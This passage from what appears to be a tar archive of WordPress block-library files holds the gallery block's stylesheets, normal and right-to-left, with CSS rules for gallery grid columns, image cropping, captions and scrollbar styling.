.blocks-gallery-item:nth-of-type(5n) { margin-left: 0; } .wp-block-gallery:not(.has-nested-images).columns-6 .blocks-gallery-image:nth-of-type(6n), .wp-block-gallery:not(.has-nested-images).columns-6 .blocks-gallery-item:nth-of-type(6n), .blocks-gallery-grid:not(.has-nested-images).columns-6 .blocks-gallery-image:nth-of-type(6n), .blocks-gallery-grid:not(.has-nested-images).columns-6 .blocks-gallery-item:nth-of-type(6n) { margin-left: 0; } .wp-block-gallery:not(.has-nested-images).columns-7 .blocks-gallery-image:nth-of-type(7n), .wp-block-gallery:not(.has-nested-images).columns-7 .blocks-gallery-item:nth-of-type(7n), .blocks-gallery-grid:not(.has-nested-images).columns-7 .blocks-gallery-image:nth-of-type(7n), .blocks-gallery-grid:not(.has-nested-images).columns-7 .blocks-gallery-item:nth-of-type(7n) { margin-left: 0; } .wp-block-gallery:not(.has-nested-images).columns-8 .blocks-gallery-image:nth-of-type(8n), .wp-block-gallery:not(.has-nested-images).columns-8 .blocks-gallery-item:nth-of-type(8n), .blocks-gallery-grid:not(.has-nested-images).columns-8 .blocks-gallery-image:nth-of-type(8n), .blocks-gallery-grid:not(.has-nested-images).columns-8 .blocks-gallery-item:nth-of-type(8n) { margin-left: 0; } } .wp-block-gallery:not(.has-nested-images) .blocks-gallery-image:last-child, .wp-block-gallery:not(.has-nested-images) .blocks-gallery-item:last-child, .blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-image:last-child, .blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-item:last-child { margin-left: 0; } .wp-block-gallery:not(.has-nested-images).alignleft, .wp-block-gallery:not(.has-nested-images).alignright, .blocks-gallery-grid:not(.has-nested-images).alignleft, .blocks-gallery-grid:not(.has-nested-images).alignright { max-width: 420px; width: 100%; } .wp-block-gallery:not(.has-nested-images).aligncenter .blocks-gallery-item figure, .blocks-gallery-grid:not(.has-nested-images).aligncenter .blocks-gallery-item figure { justify-content: center; } .wp-block-gallery:not(.is-cropped) .blocks-gallery-item { align-self: flex-start; } figure.wp-block-gallery.has-nested-images { align-items: normal; } .wp-block-gallery.has-nested-images figure.wp-block-image:not(#individual-image) { width: calc(50% - var(--wp--style--unstable-gallery-gap, 16px) / 2); margin: 0; } .wp-block-gallery.has-nested-images figure.wp-block-image { display: flex; flex-grow: 1; justify-content: center; position: relative; flex-direction: column; max-width: 100%; box-sizing: border-box; } .wp-block-gallery.has-nested-images figure.wp-block-image > div, .wp-block-gallery.has-nested-images figure.wp-block-image > a { margin: 0; flex-direction: column; flex-grow: 1; } .wp-block-gallery.has-nested-images figure.wp-block-image img { display: block; height: auto; max-width: 100% !important; width: auto; } .wp-block-gallery.has-nested-images figure.wp-block-image:has(figcaption)::before, .wp-block-gallery.has-nested-images figure.wp-block-image figcaption { position: absolute; bottom: 0; left: 0; right: 0; max-height: 100%; } .wp-block-gallery.has-nested-images figure.wp-block-image:has(figcaption)::before { content: ""; height: 100%; max-height: 3em; pointer-events: none; backdrop-filter: blur(3px); -webkit-mask-image: linear-gradient(0deg, #000 20%, transparent 100%); mask-image: linear-gradient(0deg, #000 20%, transparent 100%); } .wp-block-gallery.has-nested-images figure.wp-block-image figcaption { color: #fff; text-shadow: 0 0 1.5px #000; font-size: 13px; margin: 0; overflow: auto; padding: 1em; text-align: center; box-sizing: border-box; } .wp-block-gallery.has-nested-images figure.wp-block-image figcaption::-webkit-scrollbar { width: 12px; height: 12px; } .wp-block-gallery.has-nested-images figure.wp-block-image figcaption::-webkit-scrollbar-track { background-color: transparent; } .wp-block-gallery.has-nested-images figure.wp-block-image figcaption::-webkit-scrollbar-thumb { background-color: transparent; border-radius: 8px; border: 3px solid transparent; background-clip: padding-box; } .wp-block-gallery.has-nested-images figure.wp-block-image figcaption:hover::-webkit-scrollbar-thumb, .wp-block-gallery.has-nested-images figure.wp-block-image figcaption:focus::-webkit-scrollbar-thumb, .wp-block-gallery.has-nested-images figure.wp-block-image figcaption:focus-within::-webkit-scrollbar-thumb { background-color: rgba(255, 255, 255, 0.8); } .wp-block-gallery.has-nested-images figure.wp-block-image figcaption { scrollbar-width: thin; scrollbar-gutter: stable both-edges; scrollbar-color: transparent transparent; } .wp-block-gallery.has-nested-images figure.wp-block-image figcaption:hover, .wp-block-gallery.has-nested-images figure.wp-block-image figcaption:focus, .wp-block-gallery.has-nested-images figure.wp-block-image figcaption:focus-within { scrollbar-color: rgba(255, 255, 255, 0.8) transparent; } .wp-block-gallery.has-nested-images figure.wp-block-image figcaption { will-change: transform; } @media (hover: none) { .wp-block-gallery.has-nested-images figure.wp-block-image figcaption { scrollbar-color: rgba(255, 255, 255, 0.8) transparent; } } .wp-block-gallery.has-nested-images figure.wp-block-image figcaption { background: linear-gradient(0deg, rgba(0, 0, 0, 0.4) 0%, transparent 100%); } .wp-block-gallery.has-nested-images figure.wp-block-image figcaption img { display: inline; } .wp-block-gallery.has-nested-images figure.wp-block-image figcaption a { color: inherit; } .wp-block-gallery.has-nested-images figure.wp-block-image.has-custom-border img { box-sizing: border-box; } .wp-block-gallery.has-nested-images figure.wp-block-image.is-style-rounded > div, .wp-block-gallery.has-nested-images figure.wp-block-image.is-style-rounded > a, .wp-block-gallery.has-nested-images figure.wp-block-image.has-custom-border > div, .wp-block-gallery.has-nested-images figure.wp-block-image.has-custom-border > a { flex: 1 1 auto; } .wp-block-gallery.has-nested-images figure.wp-block-image.is-style-rounded figcaption, .wp-block-gallery.has-nested-images figure.wp-block-image.has-custom-border figcaption { flex: initial; background: none; color: inherit; margin: 0; padding: 10px 10px 9px; position: relative; text-shadow: none; } .wp-block-gallery.has-nested-images figure.wp-block-image.is-style-rounded::before, .wp-block-gallery.has-nested-images figure.wp-block-image.has-custom-border::before { content: none; } .wp-block-gallery.has-nested-images figcaption { flex-grow: 1; flex-basis: 100%; text-align: center; } .wp-block-gallery.has-nested-images:not(.is-cropped) figure.wp-block-image:not(#individual-image) { margin-top: 0; margin-bottom: auto; } .wp-block-gallery.has-nested-images.is-cropped figure.wp-block-image:not(#individual-image) { align-self: inherit; } .wp-block-gallery.has-nested-images.is-cropped figure.wp-block-image:not(#individual-image) > div:not(.components-drop-zone), .wp-block-gallery.has-nested-images.is-cropped figure.wp-block-image:not(#individual-image) > a { display: flex; } .wp-block-gallery.has-nested-images.is-cropped figure.wp-block-image:not(#individual-image) a, .wp-block-gallery.has-nested-images.is-cropped figure.wp-block-image:not(#individual-image) img { width: 100%; flex: 1 0 0%; height: 100%; object-fit: cover; } .wp-block-gallery.has-nested-images.columns-1 figure.wp-block-image:not(#individual-image) { width: 100%; } @media (min-width: 600px) { .wp-block-gallery.has-nested-images.columns-3 figure.wp-block-image:not(#individual-image) { width: calc(33.3333333333% - var(--wp--style--unstable-gallery-gap, 16px) * 0.6666666667); } .wp-block-gallery.has-nested-images.columns-4 figure.wp-block-image:not(#individual-image) { width: calc(25% - var(--wp--style--unstable-gallery-gap, 16px) * 0.75); } .wp-block-gallery.has-nested-images.columns-5 figure.wp-block-image:not(#individual-image) { width: calc(20% - var(--wp--style--unstable-gallery-gap, 16px) * 0.8); } .wp-block-gallery.has-nested-images.columns-6 figure.wp-block-image:not(#individual-image) { width: calc(16.6666666667% - var(--wp--style--unstable-gallery-gap, 16px) * 0.8333333333); } .wp-block-gallery.has-nested-images.columns-7 figure.wp-block-image:not(#individual-image) { width: calc(14.2857142857% - var(--wp--style--unstable-gallery-gap, 16px) * 0.8571428571); } .wp-block-gallery.has-nested-images.columns-8 figure.wp-block-image:not(#individual-image) { width: calc(12.5% - var(--wp--style--unstable-gallery-gap, 16px) * 0.875); } .wp-block-gallery.has-nested-images.columns-default figure.wp-block-image:not(#individual-image) { width: calc(33.33% - var(--wp--style--unstable-gallery-gap, 16px) * 0.6666666667); } .wp-block-gallery.has-nested-images.columns-default figure.wp-block-image:not(#individual-image):first-child:nth-last-child(2), .wp-block-gallery.has-nested-images.columns-default figure.wp-block-image:not(#individual-image):first-child:nth-last-child(2) ~ figure.wp-block-image:not(#individual-image) { width: calc(50% - var(--wp--style--unstable-gallery-gap, 16px) * 0.5); } .wp-block-gallery.has-nested-images.columns-default figure.wp-block-image:not(#individual-image):first-child:nth-last-child(1) { width: 100%; } } .wp-block-gallery.has-nested-images.alignleft, .wp-block-gallery.has-nested-images.alignright { max-width: 420px; width: 100%; } .wp-block-gallery.has-nested-images.aligncenter { justify-content: center; } gallery/style.css 0000644 00000046063 15217610757 0010101 0 ustar 00 /** * Colors */ /** * Typography */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Fonts & basic variables. */ /** * Typography */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Radius scale. */ /** * Elevation scale. */ /** * Dimensions. */ /** * Mobile specific styles */ /** * Editor styles. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Breakpoints & Media Queries */ /** * Converts a hex value into the rgb equivalent. * * @param {string} hex - the hexadecimal value to convert * @return {string} comma separated rgb values */ /** * Long content fade mixin * * Creates a fading overlay to signify that the content is longer * than the space allows. */ /** * Breakpoint mixins */ /** * Focus styles. */ /** * Applies editor left position to the selector passed as argument */ /** * Styles that are reused verbatim in a few places */ /** * Allows users to opt-out of animations via OS-level preferences. */ /** * Reset default styles for JavaScript UI based pages. * This is a WP-admin agnostic reset */ /** * Reset the WP Admin page styles for Gutenberg-like pages. */ /** * Creates a checkerboard pattern background to indicate transparency. * @param {String} $size - The size of the squares in the checkerboard pattern. Default is 12px. */ .wp-block-gallery:not(.has-nested-images), .blocks-gallery-grid:not(.has-nested-images) { display: flex; flex-wrap: wrap; list-style-type: none; padding: 0; margin: 0; } .wp-block-gallery:not(.has-nested-images) .blocks-gallery-image, .wp-block-gallery:not(.has-nested-images) .blocks-gallery-item, .blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-image, .blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-item { margin: 0 1em 1em 0; display: flex; flex-grow: 1; flex-direction: column; justify-content: center; position: relative; width: calc(50% - 1em); } .wp-block-gallery:not(.has-nested-images) .blocks-gallery-image:nth-of-type(even), .wp-block-gallery:not(.has-nested-images) .blocks-gallery-item:nth-of-type(even), .blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-image:nth-of-type(even), .blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-item:nth-of-type(even) { margin-right: 0; } .wp-block-gallery:not(.has-nested-images) .blocks-gallery-image figure, .wp-block-gallery:not(.has-nested-images) .blocks-gallery-item figure, .blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-image figure, .blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-item figure { margin: 0; height: 100%; display: flex; align-items: flex-end; justify-content: flex-start; } .wp-block-gallery:not(.has-nested-images) .blocks-gallery-image img, .wp-block-gallery:not(.has-nested-images) .blocks-gallery-item img, .blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-image img, .blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-item img { display: block; max-width: 100%; height: auto; width: auto; } .wp-block-gallery:not(.has-nested-images) .blocks-gallery-image figcaption, .wp-block-gallery:not(.has-nested-images) .blocks-gallery-item figcaption, .blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-image figcaption, .blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-item figcaption { position: absolute; bottom: 0; width: 100%; max-height: 100%; overflow: auto; padding: 3em 0.77em 0.7em; color: #fff; text-align: center; font-size: 0.8em; background: linear-gradient(0deg, rgba(0, 0, 0, 0.7) 0, rgba(0, 0, 0, 0.3) 70%, transparent); box-sizing: border-box; margin: 0; z-index: 2; } .wp-block-gallery:not(.has-nested-images) .blocks-gallery-image figcaption img, .wp-block-gallery:not(.has-nested-images) .blocks-gallery-item figcaption img, .blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-image figcaption img, .blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-item figcaption img { display: inline; } .wp-block-gallery:not(.has-nested-images) figcaption, .blocks-gallery-grid:not(.has-nested-images) figcaption { flex-grow: 1; } .wp-block-gallery:not(.has-nested-images).is-cropped .blocks-gallery-image a, .wp-block-gallery:not(.has-nested-images).is-cropped .blocks-gallery-image img, .wp-block-gallery:not(.has-nested-images).is-cropped .blocks-gallery-item a, .wp-block-gallery:not(.has-nested-images).is-cropped .blocks-gallery-item img, .blocks-gallery-grid:not(.has-nested-images).is-cropped .blocks-gallery-image a, .blocks-gallery-grid:not(.has-nested-images).is-cropped .blocks-gallery-image img, .blocks-gallery-grid:not(.has-nested-images).is-cropped .blocks-gallery-item a, .blocks-gallery-grid:not(.has-nested-images).is-cropped .blocks-gallery-item img { width: 100%; height: 100%; flex: 1; object-fit: cover; } .wp-block-gallery:not(.has-nested-images).columns-1 .blocks-gallery-image, .wp-block-gallery:not(.has-nested-images).columns-1 .blocks-gallery-item, .blocks-gallery-grid:not(.has-nested-images).columns-1 .blocks-gallery-image, .blocks-gallery-grid:not(.has-nested-images).columns-1 .blocks-gallery-item { width: 100%; margin-right: 0; } @media (min-width: 600px) { .wp-block-gallery:not(.has-nested-images).columns-3 .blocks-gallery-image, .wp-block-gallery:not(.has-nested-images).columns-3 .blocks-gallery-item, .blocks-gallery-grid:not(.has-nested-images).columns-3 .blocks-gallery-image, .blocks-gallery-grid:not(.has-nested-images).columns-3 .blocks-gallery-item { width: calc(33.3333333333% - 0.6666666667em); margin-right: 1em; } .wp-block-gallery:not(.has-nested-images).columns-4 .blocks-gallery-image, .wp-block-gallery:not(.has-nested-images).columns-4 .blocks-gallery-item, .blocks-gallery-grid:not(.has-nested-images).columns-4 .blocks-gallery-image, .blocks-gallery-grid:not(.has-nested-images).columns-4 .blocks-gallery-item { width: calc(25% - 0.75em); margin-right: 1em; } .wp-block-gallery:not(.has-nested-images).columns-5 .blocks-gallery-image, .wp-block-gallery:not(.has-nested-images).columns-5 .blocks-gallery-item, .blocks-gallery-grid:not(.has-nested-images).columns-5 .blocks-gallery-image, .blocks-gallery-grid:not(.has-nested-images).columns-5 .blocks-gallery-item { width: calc(20% - 0.8em); margin-right: 1em; } .wp-block-gallery:not(.has-nested-images).columns-6 .blocks-gallery-image, .wp-block-gallery:not(.has-nested-images).columns-6 .blocks-gallery-item, .blocks-gallery-grid:not(.has-nested-images).columns-6 .blocks-gallery-image, .blocks-gallery-grid:not(.has-nested-images).columns-6 .blocks-gallery-item { width: calc(16.6666666667% - 0.8333333333em); margin-right: 1em; } .wp-block-gallery:not(.has-nested-images).columns-7 .blocks-gallery-image, .wp-block-gallery:not(.has-nested-images).columns-7 .blocks-gallery-item, .blocks-gallery-grid:not(.has-nested-images).columns-7 .blocks-gallery-image, .blocks-gallery-grid:not(.has-nested-images).columns-7 .blocks-gallery-item { width: calc(14.2857142857% - 0.8571428571em); margin-right: 1em; } .wp-block-gallery:not(.has-nested-images).columns-8 .blocks-gallery-image, .wp-block-gallery:not(.has-nested-images).columns-8 .blocks-gallery-item, .blocks-gallery-grid:not(.has-nested-images).columns-8 .blocks-gallery-image, .blocks-gallery-grid:not(.has-nested-images).columns-8 .blocks-gallery-item { width: calc(12.5% - 0.875em); margin-right: 1em; } .wp-block-gallery:not(.has-nested-images).columns-1 .blocks-gallery-image:nth-of-type(1n), .wp-block-gallery:not(.has-nested-images).columns-1 .blocks-gallery-item:nth-of-type(1n), .blocks-gallery-grid:not(.has-nested-images).columns-1 .blocks-gallery-image:nth-of-type(1n), .blocks-gallery-grid:not(.has-nested-images).columns-1 .blocks-gallery-item:nth-of-type(1n) { margin-right: 0; } .wp-block-gallery:not(.has-nested-images).columns-2 .blocks-gallery-image:nth-of-type(2n), .wp-block-gallery:not(.has-nested-images).columns-2 .blocks-gallery-item:nth-of-type(2n), .blocks-gallery-grid:not(.has-nested-images).columns-2 .blocks-gallery-image:nth-of-type(2n), .blocks-gallery-grid:not(.has-nested-images).columns-2 .blocks-gallery-item:nth-of-type(2n) { margin-right: 0; } .wp-block-gallery:not(.has-nested-images).columns-3 .blocks-gallery-image:nth-of-type(3n), .wp-block-gallery:not(.has-nested-images).columns-3 .blocks-gallery-item:nth-of-type(3n), .blocks-gallery-grid:not(.has-nested-images).columns-3 .blocks-gallery-image:nth-of-type(3n), .blocks-gallery-grid:not(.has-nested-images).columns-3 .blocks-gallery-item:nth-of-type(3n) { margin-right: 0; } .wp-block-gallery:not(.has-nested-images).columns-4 .blocks-gallery-image:nth-of-type(4n), .wp-block-gallery:not(.has-nested-images).columns-4 .blocks-gallery-item:nth-of-type(4n), .blocks-gallery-grid:not(.has-nested-images).columns-4 .blocks-gallery-image:nth-of-type(4n), .blocks-gallery-grid:not(.has-nested-images).columns-4 .blocks-gallery-item:nth-of-type(4n) { margin-right: 0; } .wp-block-gallery:not(.has-nested-images).columns-5 .blocks-gallery-image:nth-of-type(5n), .wp-block-gallery:not(.has-nested-images).columns-5 .blocks-gallery-item:nth-of-type(5n), .blocks-gallery-grid:not(.has-nested-images).columns-5 .blocks-gallery-image:nth-of-type(5n), .blocks-gallery-grid:not(.has-nested-images).columns-5 .blocks-gallery-item:nth-of-type(5n) { margin-right: 0; } .wp-block-gallery:not(.has-nested-images).columns-6 .blocks-gallery-image:nth-of-type(6n), .wp-block-gallery:not(.has-nested-images).columns-6 .blocks-gallery-item:nth-of-type(6n), .blocks-gallery-grid:not(.has-nested-images).columns-6 .blocks-gallery-image:nth-of-type(6n), .blocks-gallery-grid:not(.has-nested-images).columns-6 .blocks-gallery-item:nth-of-type(6n) { margin-right: 0; } .wp-block-gallery:not(.has-nested-images).columns-7 .blocks-gallery-image:nth-of-type(7n), .wp-block-gallery:not(.has-nested-images).columns-7 .blocks-gallery-item:nth-of-type(7n), .blocks-gallery-grid:not(.has-nested-images).columns-7 .blocks-gallery-image:nth-of-type(7n), .blocks-gallery-grid:not(.has-nested-images).columns-7 .blocks-gallery-item:nth-of-type(7n) { margin-right: 0; } .wp-block-gallery:not(.has-nested-images).columns-8 .blocks-gallery-image:nth-of-type(8n), .wp-block-gallery:not(.has-nested-images).columns-8 .blocks-gallery-item:nth-of-type(8n), .blocks-gallery-grid:not(.has-nested-images).columns-8 .blocks-gallery-image:nth-of-type(8n), .blocks-gallery-grid:not(.has-nested-images).columns-8 .blocks-gallery-item:nth-of-type(8n) { margin-right: 0; } } .wp-block-gallery:not(.has-nested-images) .blocks-gallery-image:last-child, .wp-block-gallery:not(.has-nested-images) .blocks-gallery-item:last-child, .blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-image:last-child, .blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-item:last-child { margin-right: 0; } .wp-block-gallery:not(.has-nested-images).alignleft, .wp-block-gallery:not(.has-nested-images).alignright, .blocks-gallery-grid:not(.has-nested-images).alignleft, .blocks-gallery-grid:not(.has-nested-images).alignright { max-width: 420px; width: 100%; } .wp-block-gallery:not(.has-nested-images).aligncenter .blocks-gallery-item figure, .blocks-gallery-grid:not(.has-nested-images).aligncenter .blocks-gallery-item figure { justify-content: center; } .wp-block-gallery:not(.is-cropped) .blocks-gallery-item { align-self: flex-start; } figure.wp-block-gallery.has-nested-images { align-items: normal; } .wp-block-gallery.has-nested-images figure.wp-block-image:not(#individual-image) { width: calc(50% - var(--wp--style--unstable-gallery-gap, 16px) / 2); margin: 0; } .wp-block-gallery.has-nested-images figure.wp-block-image { display: flex; flex-grow: 1; justify-content: center; position: relative; flex-direction: column; max-width: 100%; box-sizing: border-box; } .wp-block-gallery.has-nested-images figure.wp-block-image > div, .wp-block-gallery.has-nested-images figure.wp-block-image > a { margin: 0; flex-direction: column; flex-grow: 1; } .wp-block-gallery.has-nested-images figure.wp-block-image img { display: block; height: auto; max-width: 100% !important; width: auto; } .wp-block-gallery.has-nested-images figure.wp-block-image:has(figcaption)::before, .wp-block-gallery.has-nested-images figure.wp-block-image figcaption { position: absolute; bottom: 0; right: 0; left: 0; max-height: 100%; } .wp-block-gallery.has-nested-images figure.wp-block-image:has(figcaption)::before { content: ""; height: 100%; max-height: 3em; pointer-events: none; backdrop-filter: blur(3px); -webkit-mask-image: linear-gradient(0deg, #000 20%, transparent 100%); mask-image: linear-gradient(0deg, #000 20%, transparent 100%); } .wp-block-gallery.has-nested-images figure.wp-block-image figcaption { color: #fff; text-shadow: 0 0 1.5px #000; font-size: 13px; margin: 0; overflow: auto; padding: 1em; text-align: center; box-sizing: border-box; } .wp-block-gallery.has-nested-images figure.wp-block-image figcaption::-webkit-scrollbar { width: 12px; height: 12px; } .wp-block-gallery.has-nested-images figure.wp-block-image figcaption::-webkit-scrollbar-track { background-color: transparent; } .wp-block-gallery.has-nested-images figure.wp-block-image figcaption::-webkit-scrollbar-thumb { background-color: transparent; border-radius: 8px; border: 3px solid transparent; background-clip: padding-box; } .wp-block-gallery.has-nested-images figure.wp-block-image figcaption:hover::-webkit-scrollbar-thumb, .wp-block-gallery.has-nested-images figure.wp-block-image figcaption:focus::-webkit-scrollbar-thumb, .wp-block-gallery.has-nested-images figure.wp-block-image figcaption:focus-within::-webkit-scrollbar-thumb { background-color: rgba(255, 255, 255, 0.8); } .wp-block-gallery.has-nested-images figure.wp-block-image figcaption { scrollbar-width: thin; scrollbar-gutter: stable both-edges; scrollbar-color: transparent transparent; } .wp-block-gallery.has-nested-images figure.wp-block-image figcaption:hover, .wp-block-gallery.has-nested-images figure.wp-block-image figcaption:focus, .wp-block-gallery.has-nested-images figure.wp-block-image figcaption:focus-within { scrollbar-color: rgba(255, 255, 255, 0.8) transparent; } .wp-block-gallery.has-nested-images figure.wp-block-image figcaption { will-change: transform; } @media (hover: none) { .wp-block-gallery.has-nested-images figure.wp-block-image figcaption { scrollbar-color: rgba(255, 255, 255, 0.8) transparent; } } .wp-block-gallery.has-nested-images figure.wp-block-image figcaption { background: linear-gradient(0deg, rgba(0, 0, 0, 0.4) 0%, transparent 100%); } .wp-block-gallery.has-nested-images figure.wp-block-image figcaption img { display: inline; } .wp-block-gallery.has-nested-images figure.wp-block-image figcaption a { color: inherit; } .wp-block-gallery.has-nested-images figure.wp-block-image.has-custom-border img { box-sizing: border-box; } .wp-block-gallery.has-nested-images figure.wp-block-image.is-style-rounded > div, .wp-block-gallery.has-nested-images figure.wp-block-image.is-style-rounded > a, .wp-block-gallery.has-nested-images figure.wp-block-image.has-custom-border > div, .wp-block-gallery.has-nested-images figure.wp-block-image.has-custom-border > a { flex: 1 1 auto; } .wp-block-gallery.has-nested-images figure.wp-block-image.is-style-rounded figcaption, .wp-block-gallery.has-nested-images figure.wp-block-image.has-custom-border figcaption { flex: initial; background: none; color: inherit; margin: 0; padding: 10px 10px 9px; position: relative; text-shadow: none; } .wp-block-gallery.has-nested-images figure.wp-block-image.is-style-rounded::before, .wp-block-gallery.has-nested-images figure.wp-block-image.has-custom-border::before { content: none; } .wp-block-gallery.has-nested-images figcaption { flex-grow: 1; flex-basis: 100%; text-align: center; } .wp-block-gallery.has-nested-images:not(.is-cropped) figure.wp-block-image:not(#individual-image) { margin-top: 0; margin-bottom: auto; } .wp-block-gallery.has-nested-images.is-cropped figure.wp-block-image:not(#individual-image) { align-self: inherit; } .wp-block-gallery.has-nested-images.is-cropped figure.wp-block-image:not(#individual-image) > div:not(.components-drop-zone), .wp-block-gallery.has-nested-images.is-cropped figure.wp-block-image:not(#individual-image) > a { display: flex; } .wp-block-gallery.has-nested-images.is-cropped figure.wp-block-image:not(#individual-image) a, .wp-block-gallery.has-nested-images.is-cropped figure.wp-block-image:not(#individual-image) img { width: 100%; flex: 1 0 0%; height: 100%; object-fit: cover; } .wp-block-gallery.has-nested-images.columns-1 figure.wp-block-image:not(#individual-image) { width: 100%; } @media (min-width: 600px) { .wp-block-gallery.has-nested-images.columns-3 figure.wp-block-image:not(#individual-image) { width: calc(33.3333333333% - var(--wp--style--unstable-gallery-gap, 16px) * 0.6666666667); } .wp-block-gallery.has-nested-images.columns-4 figure.wp-block-image:not(#individual-image) { width: calc(25% - var(--wp--style--unstable-gallery-gap, 16px) * 0.75); } .wp-block-gallery.has-nested-images.columns-5 figure.wp-block-image:not(#individual-image) { width: calc(20% - var(--wp--style--unstable-gallery-gap, 16px) * 0.8); } .wp-block-gallery.has-nested-images.columns-6 figure.wp-block-image:not(#individual-image) { width: calc(16.6666666667% - var(--wp--style--unstable-gallery-gap, 16px) * 0.8333333333); } .wp-block-gallery.has-nested-images.columns-7 figure.wp-block-image:not(#individual-image) { width: calc(14.2857142857% - var(--wp--style--unstable-gallery-gap, 16px) * 0.8571428571); } .wp-block-gallery.has-nested-images.columns-8 figure.wp-block-image:not(#individual-image) { width: calc(12.5% - var(--wp--style--unstable-gallery-gap, 16px) * 0.875); } .wp-block-gallery.has-nested-images.columns-default figure.wp-block-image:not(#individual-image) { width: calc(33.33% - var(--wp--style--unstable-gallery-gap, 16px) * 0.6666666667); } .wp-block-gallery.has-nested-images.columns-default figure.wp-block-image:not(#individual-image):first-child:nth-last-child(2), .wp-block-gallery.has-nested-images.columns-default figure.wp-block-image:not(#individual-image):first-child:nth-last-child(2) ~ figure.wp-block-image:not(#individual-image) { width: calc(50% - var(--wp--style--unstable-gallery-gap, 16px) * 0.5); } .wp-block-gallery.has-nested-images.columns-default figure.wp-block-image:not(#individual-image):first-child:nth-last-child(1) { width: 100%; } } .wp-block-gallery.has-nested-images.alignleft, .wp-block-gallery.has-nested-images.alignright { max-width: 420px; width: 100%; } .wp-block-gallery.has-nested-images.aligncenter { justify-content: center; } gallery/style-rtl.min.css 0000644 00000037356 15217610757 0011467 0 ustar 00 .blocks-gallery-grid:not(.has-nested-images),.wp-block-gallery:not(.has-nested-images){display:flex;flex-wrap:wrap;list-style-type:none;margin:0;padding:0}.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-image,.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-item,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-image,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-item{display:flex;flex-direction:column;flex-grow:1;justify-content:center;margin:0 0 1em 1em;position:relative;width:calc(50% - 1em)}.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-image:nth-of-type(2n),.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-item:nth-of-type(2n),.wp-block-gallery:not(.has-nested-images) .blocks-gallery-image:nth-of-type(2n),.wp-block-gallery:not(.has-nested-images) .blocks-gallery-item:nth-of-type(2n){margin-left:0}.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-image figure,.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-item figure,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-image figure,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-item figure{align-items:flex-end;display:flex;height:100%;justify-content:flex-start;margin:0}.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-image img,.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-item img,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-image img,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-item img{display:block;height:auto;max-width:100%;width:auto}.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-image figcaption,.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-item figcaption,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-image figcaption,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-item figcaption{background:linear-gradient(0deg,#000000b3,#0000004d 70%,#0000);bottom:0;box-sizing:border-box;color:#fff;font-size:.8em;margin:0;max-height:100%;overflow:auto;padding:3em .77em .7em;position:absolute;text-align:center;width:100%;z-index:2}.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-image figcaption img,.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-item figcaption img,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-image figcaption img,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-item figcaption img{display:inline}.blocks-gallery-grid:not(.has-nested-images) figcaption,.wp-block-gallery:not(.has-nested-images) figcaption{flex-grow:1}.blocks-gallery-grid:not(.has-nested-images).is-cropped .blocks-gallery-image a,.blocks-gallery-grid:not(.has-nested-images).is-cropped .blocks-gallery-image img,.blocks-gallery-grid:not(.has-nested-images).is-cropped .blocks-gallery-item a,.blocks-gallery-grid:not(.has-nested-images).is-cropped .blocks-gallery-item img,.wp-block-gallery:not(.has-nested-images).is-cropped .blocks-gallery-image a,.wp-block-gallery:not(.has-nested-images).is-cropped .blocks-gallery-image img,.wp-block-gallery:not(.has-nested-images).is-cropped .blocks-gallery-item a,.wp-block-gallery:not(.has-nested-images).is-cropped .blocks-gallery-item img{flex:1;height:100%;object-fit:cover;width:100%}.blocks-gallery-grid:not(.has-nested-images).columns-1 .blocks-gallery-image,.blocks-gallery-grid:not(.has-nested-images).columns-1 .blocks-gallery-item,.wp-block-gallery:not(.has-nested-images).columns-1 .blocks-gallery-image,.wp-block-gallery:not(.has-nested-images).columns-1 .blocks-gallery-item{margin-left:0;width:100%}@media (min-width:600px){.blocks-gallery-grid:not(.has-nested-images).columns-3 .blocks-gallery-image,.blocks-gallery-grid:not(.has-nested-images).columns-3 .blocks-gallery-item,.wp-block-gallery:not(.has-nested-images).columns-3 .blocks-gallery-image,.wp-block-gallery:not(.has-nested-images).columns-3 .blocks-gallery-item{margin-left:1em;width:calc(33.33333% - .66667em)}.blocks-gallery-grid:not(.has-nested-images).columns-4 .blocks-gallery-image,.blocks-gallery-grid:not(.has-nested-images).columns-4 .blocks-gallery-item,.wp-block-gallery:not(.has-nested-images).columns-4 